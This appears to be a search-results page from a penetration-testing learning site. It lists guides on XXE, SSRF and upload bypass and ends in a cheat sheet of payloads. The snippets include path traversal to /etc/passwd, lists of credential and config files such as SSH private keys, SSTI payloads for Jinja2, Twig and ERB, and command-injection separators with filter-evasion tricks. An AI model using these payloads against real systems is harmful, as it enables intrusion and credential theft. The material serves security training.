Search everything
58 results for «xxe»
Techniques 1
MITRE ATT&CK techniques 1
Guides 3
- XXE: reading server files with XML external entities What XXE is, how to find it in APIs, SVG and Office documents, read files with php://filter, blind XXE with an external DTD, and chaining it into SSRF.
- SSRF: using the server to reach internal services and the cloud SSRF step by step: detect it, scan internal ports, bypass localhost filters with redirects and alternative IPs, read AWS metadata and attack Redis with gopher.
- Malicious file upload: bypassing upload filters to get a web shell Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
Resources and tools 1
Machines 4
Learning paths 1
Checklists 1
Guide sections 9
- Blind XXE: exfiltrating the file over the network XXE: reading server files with XML external entities
- What next XXE: reading server files with XML external entities
- Common errors XXE: reading server files with XML external entities
- Where to look XXE: reading server files with XML external entities
- Reading a file XXE: reading server files with XML external entities
- SVG and Office documents XXE: reading server files with XML external entities
- Files with special characters XXE: reading server files with XML external entities
- When you do not control the whole document XXE: reading server files with XML external entities
- Detecting it even if you cannot see the value XXE: reading server files with XML external entities
Commands 37
-
Basic
LFI, SSTI, command injection and XXE › LFI › Path traversal
../../../../../../etc/passwd -
Linux
LFI, SSTI, command injection and XXE › LFI › Interesting files
/etc/passwd /etc/hosts /proc/self/cmdline /proc/self/environ /home/USUARIO/.ssh/id_rsa /var/www/html/config.php /etc/nginx/sites-enabled/default /etc/apache2/sites-enabled/000-default.conf -
SSTImap
LFI, SSTI, command injection and XXE › SSTI › Tool
python3 sstimap.py -u 'http://10.10.11.20/page?name=test' -
Windows
LFI, SSTI, command injection and XXE › LFI › Interesting files
C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\inetpub\wwwroot\web.config C:\xampp\apache\conf\httpd.conf -
ERB (Ruby)
LFI, SSTI, command injection and XXE › SSTI › Other engines
<%= `id` %> -
Time based
LFI, SSTI, command injection and XXE › Command injection › Blind
; sleep 5 -
Twig (PHP)
LFI, SSTI, command injection and XXE › SSTI › Other engines
{{ ['id']|filter('system') }} -
Blocked words
LFI, SSTI, command injection and XXE › Command injection › Filter evasion
c'a't /etc/passwd c\at /etc/passwd /???/c?t /etc/passwd -
Run a command
LFI, SSTI, command injection and XXE › SSTI › Jinja2 (Python / Flask)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} -
Chain commands
LFI, SSTI, command injection and XXE › Command injection › Separators
; id | id || id && id `id` $(id) -
Without spaces
LFI, SSTI, command injection and XXE › Command injection › Filter evasion
cat${IFS}/etc/passwd {cat,/etc/passwd} cat</etc/passwd -
Encoded newline
LFI, SSTI, command injection and XXE › Command injection › Separators
%0aid